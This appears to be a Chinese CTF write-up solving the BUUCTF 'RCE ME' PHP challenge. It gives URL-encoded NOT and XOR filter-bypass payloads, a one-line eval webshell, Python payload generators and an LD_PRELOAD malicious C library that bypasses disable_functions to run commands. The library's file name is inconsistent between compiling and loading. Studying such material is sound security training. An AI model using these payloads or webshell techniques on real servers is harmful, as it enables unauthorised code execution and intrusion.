BUUCTF--[极客大挑战 2019]RCE ME

目录

URL编码取反绕过

异或绕过

异或的代码

flag

借助蚁剑中的插件进行绕过

利用动态链接库

编写恶意c语言代码

进行编译

然后再写一个php文件

将这两个文件上传到/var/tmp下

运行payload


直接看代码

php 复制代码
<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

主要是学习绕过匹配**[A-Za-z0-9]+** 的方法。有 异或绕过url编码取反绕过

URL编码取反绕过

首先查看phpinfo() 看看哪些函数被过滤了

这时服务端会尝试解析这段URL编码后的值,但这段是被取反了的,所以会导致服务端无法正常解析这段URL编码后的值,结果为

从而绕过验证

相当于使用了phpinfo();

看到这里的system exec exec_shell函数都被禁用了,考虑用一句话木马

php 复制代码
assert(eval($_POST[cmd]))

同样也使用URL编码取反绕过

php 复制代码
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

成功连接上,除此之外,还可以使用异或绕过

异或绕过

当过滤了所有的英文字母和数字时,ASCII码中还有很多**除了字母数字的字符,**通过这些字符进行异或可以得到想要的字符

比如,现在要得到 'A' 这个字符

复制代码
A 可以通过 ? 和 ~ 字符进行异或得到

字符 ?  ASCII码值: 63  二进制:0011 1111
字符 ~  ASCII码值:126 二进制:0111 1110
进行异或操作:
0 XOR 0 -> 0
0 XOR 1 -> 1
1 XOR 1 -> 1
1 XOR 0 -> 0
上面进行异或操作得到 0100 0001
对应的ASCII码值就是A

异或的代码

这里要感谢这位师傅提供的代码:

浅谈PHP代码执行中出现过滤限制的绕过执行方法_php过滤绕过-CSDN博客

python 复制代码
# -*- coding: utf-8 -*-

payload = "assert"
strlist = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 35, 36, 37, 38, 40, 41, 42, 43, 44, 45, 46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 93, 94, 95, 96, 123, 124, 125, 126, 127]
#strlist是ascii表中所有非字母数字的"字符"十进制
str1,str2 = '',''

for char in payload:
    for i in strlist:
        for j in strlist:
            if(i ^ j == ord(char)):
                i = '%{:0>2}'.format(hex(i)[2:])
                # [2:]为切片操作,去掉十六进制的前两位 '0x'
                # 0表示填充字符,当字符串长度不足时用0来填充
                # >表示右对齐,填充字符回添加在字符串的左边,2指定宽度为2
                j = '%{:0>2}'.format(hex(j)[2:])
                print("('{0}'^'{1}')".format(i,j),end=".")
                break
        else:
            continue
        break

此时得到assert异或的结果为

python 复制代码
('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c').
php 复制代码
# 现在的步骤就是:

?code=assert($_POST[_]);

# 使用"_ __ ___" 来代替变量名

(1) $_=assert=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');

(2) $__='_POST'='_'.'POST'='_'.('%0b'^'%5b').('%0f'^'%40').('%08'^'%5b').('%09'^'%5d')

(3) $___='$_POST'='$'.$__=$$__

(4) ?code=$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');$__='_'.('%0b'^'%5b').('%0f'^'%40').('%08'^'%5b').('%09'^'%5d');$___=$$__;
$_($___[_]);
# assert($_POST[_])

但这样显然过不了长度检测,需要换个形式,还记得上一篇love math就接触了这样的形式

php 复制代码
?code=$_GET[_]($_GET[__]);&_=assert&__=eval($_POST['cmd']);
# 一定要在中间加';'

借助下面的脚本(求得_GET的另一种表示形式):

python 复制代码
test="_GET"
xor_byte=0xFE # 固定异或字节
xor_pairs=[]

for char in test:
    test_byte=ord(char)
    ans_byte=xor_byte ^ test_byte
    xor_pairs.append(ans_byte)

xor_expression="".join([f"%{b:02x}" for b in xor_pairs])
print(f"异或表达式为: {xor_expression}")

可以得到_GET的异或值

python 复制代码
%fe%fe%fe%fe^%a1%b9%bb%aa

于是语句就可以变成

php 复制代码
?code=$_GET[_]($_GET[__]);&_=assert&__=eval($_POST['cmd']);

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST['cmd'])

就能成功getshell了

空flag

发现这里有两个flag,第一个flag是空的,第二个flag打开是乱码。看网上师傅的说法是:这里由于disable_function的作用,禁用了很多函数,导致得到的是"空shell", 没有办法执行命令。需要绕过disable_function,下面绕过的方法也是看师傅们的^-^,主要有两种方法

借助蚁剑中的插件进行绕过

这里可能插件市场会加载不出来,上网搜篇文章看看就可以了,这里不好讲

成功看到这个, 然后在蚁剑首页右键点击该shell,点击加载插件

选择这个,然后右键开始,此时会自动跳转到虚拟终端,这时直接通过readflag来得到flag就行了

利用动态链接库

这里按着这位师傅的文章来学习一下:
【PHP绕过】LD_PRELOAD bypass disable_functions_phpid绕过-CSDN博客

后面会写一篇文章专门了解这方面的知识,先讲步骤:

编写恶意c语言代码

php 复制代码
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void payload(){
    // flag的返回形式为test.php
    system("cat /flag >> /var/tmp/test.php");
    system("tac /flag >> /var/tmp/test.php");
    system("more /flag >> /var/tmp/test.php");
    system("head -2 /flag >> /var/tmp/test.php");
    system("tail /flag >> /var/tmp/test.php");
    system("/readflag >> /var/tmp/test.php");
}
int geteuid(){ // 注意这里是geteuid
    if(getenv("LD_PRELOAD")==NULL){return 0;}
    // 使用getenv检查环境变量LD_PRELOAD是否存在
    unsetenv("LD_PRELOAD");
    // 如果存在,就删除LD_PRELOAD,避免后续程序受其影响
    payload();
}

进行编译

cpp 复制代码
gcc -shared -fPIC hack.c -o getflag.so
# -shared 是共享链接库

然后再写一个php文件

cpp 复制代码
<?php
putenv("LD_PRELOAD=/var/tmp/hack.so");
mail("","","","");
error_log("",1,"","");
?>

将这两个文件上传到/var/tmp下

运行payload

cpp 复制代码
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/getflag.so

此时就会在/var/tmp下得到一个test.php 查看内容就得到了flag

相关推荐
BingoGo2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack5 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理5 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行5 天前
网络安全总结
安全·web安全
QQ5110082855 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php